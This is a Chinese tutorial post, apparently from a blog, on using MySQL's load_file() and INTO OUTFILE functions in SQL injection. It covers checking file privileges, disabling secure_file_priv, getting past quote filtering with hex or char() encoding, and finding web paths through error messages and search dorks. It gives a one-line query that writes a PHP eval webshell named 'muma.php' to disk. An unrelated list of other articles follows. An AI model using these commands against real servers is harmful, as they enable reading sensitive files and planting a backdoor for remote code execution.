load_file()与into outfile函数详解
load_file()函数的使用:
1.使用条件
①有读取文件的权限 r
and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有
②文件大小不能超过max_allowed_packet
③secure_file_priv的值不为NULL
查看mysql是否有对函数load_file(),outfile()函数的限制(securefilepriv的值是否为NULL)
show global variables like '%secure%';

这个情况下没有办法用这些函数,可以到MySQL的配置文件下
修改,Windows下my.ini,linux下my.cnf。在[mysqld]下面添加一行
secure_file_priv =

重启MySQL

出现这个就表明可以了
④必须给出绝对路径
2.注意
1. load_file()函数指定路径是要用到单引号,但是一般魔术引号开启,或者对你输入的内容进行了过滤,这时候转化为十六进制或者ASCII码
比如:d:/test.txt , 构造语句select load_file('d:/test.txt'), 如果进行了单引号过滤,语句会变成select load_file(\'d:/test.txt\') ,可以转化为16进制:0x643A2F746573742E747874(只转路径,不转'') ,或者转化为ASCII码:char(100,58,47,116,101,115,116,46,116,120,116) 构造select load_file(0x643A2F746573742E747874) 或者select load_file(char(100,58,47,116,101,115,116,46,116,120,116))
2.
hex(load_file('exe文件'))查看 exe二进制文件-----以十六进制读取
-------------------
3.爆出路径
①在display_errors = On的情况下,在后边加个错误参数,爆出网站的绝对路径
②load_file()读取配置文件
③扫描工具
④googlehacking:
Site:webshell.cc warning
Site:webshell.cc "fatal error"
inurl:phpinfo
outfile
1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行
2.outfile经典一句话
select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'
3.必须要有可写的权限。w
4.如果单引号过滤,能找到phpmyadmin也行
5.linux真的是权限不行,必须给相关的目录包括父目录用户o开启W权限
6.有时候写马的时候会出现这个提示,在这里我开了display_errors

但是我去自己服务器看了下确实会写进去。。。。
load_file()与into outfile函数详解的更多相关文章
- Mysql 字符函数详解
MySql 所有字符串函数函数详解 ASCII(str) 返回str最左边第一位字符的ASCII编码,如果str为空,则返回 0 .如果str为NULL,则返回NULL -- 只返回a的ASCII编码 ...
- malloc 与 free函数详解<转载>
malloc和free函数详解 本文介绍malloc和free函数的内容. 在C中,对内存的管理是相当重要.下面开始介绍这两个函数: 一.malloc()和free()的基本概念以及基本用法: 1 ...
- NSSearchPathForDirectoriesInDomains函数详解
NSSearchPathForDirectoriesInDomains函数详解 #import "NSString+FilePath.h" @implementation ...
- JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解
二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...
- Linux C popen()函数详解
表头文件 #include<stdio.h> 定义函数 FILE * popen( const char * command,const char * type); 函数说明 popen( ...
- kzalloc 函数详解(转载)
用kzalloc申请内存的时候, 效果等同于先是用 kmalloc() 申请空间 , 然后用 memset() 来初始化 ,所有申请的元素都被初始化为 0. view plain /** * kzal ...
- Netsuite Formula > Oracle函数列表速查(PL/SQL单行函数和组函数详解).txt
PL/SQL单行函数和组函数详解 函数是一种有零个或多个参数并且有一个返回值的程序.在SQL中Oracle内建了一系列函数,这些函数都可被称为SQL或PL/SQL语句,函数主要分为两大类: 单行函数 ...
- jQuery.attr() 函数详解
一,jQuery.attr() 函数详解: http://www.365mini.com/page/jquery-attr.htm 二,jQuery函数attr()和prop()的区别: http: ...
- memset函数详解
语言中memset函数详解(2011-11-16 21:11:02)转载▼标签: 杂谈 分类: 工具相关 功 能: 将s所指向的某一块内存中的每个字节的内容全部设置为ch指定的ASCII值, 块的大 ...
随机推荐
- iOS 当使用FD_FullscreenPopViewController的时候遇到scrollView右滑手势无法使用的解决
当我们在ViewController中有scrollView的时候, 可能会遇到右滑无法响应返回手势, 有以下解决办法: 自定义scrollView, 实现该scrollView的以下方法即可: @i ...
- c语言数组赋值
int acct_parm[3] = {4, 2, 30};#define RESUME (acct_parm[0])
- HDU 1085 Holding Bin-Laden Captive! 活捉本拉登(普通型母函数)
题意: 有面值分别为1.2.5的硬币,分别有num_1.num_2.num_5个,问不能组成的最小面值是多少?(0<=每种硬币个数<=1000,组成的面值>0) 思路: 母函数解决. ...
- PHP:isset()-检测变量是否被设置
isset()-检测变量是否被设置 bool isset(mixed $var [, mixed $...]),检查变量是否被设置,并且不是NULL.var,要检测的变量,...其他变量,允许有多个变 ...
- Android(java)学习笔记86:Android提供打开各种文件的API接口:setDataAndType
1. Android 打开各种文件(setDataAndType) private void openFile(File file){ Intent intent = new Intent(); in ...
- numpy.random.shuffle(x)的用法
numpy.random.shuffle(x) Modify a sequence in-place by shuffling its contents. Parameters: x : array_ ...
- checkbox 最多选两项
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" ...
- java基础面试题:说说&和&&的区别
&与&&都是逻辑与 不同的是&左右两边的判断都要进行,而&&是短路与,当&&左边条件为假则不用再判断右边条件,所以效率更高 例如,对于i ...
- 牛客小白月赛5 G 异或(xor) 【找规律】
题目链接: https://www.nowcoder.com/acm/contest/135/g 题目描述 从前,Apojacsleam家的水族箱里,养了一群热带鱼. 在这几条热带鱼里,Apojacs ...
- JAVA JDBC 连接 Oracle
使用 Junit 测试类编写 public class JdbcTest { private Connection con = null;// 创建一个数据库连接 private PreparedSt ...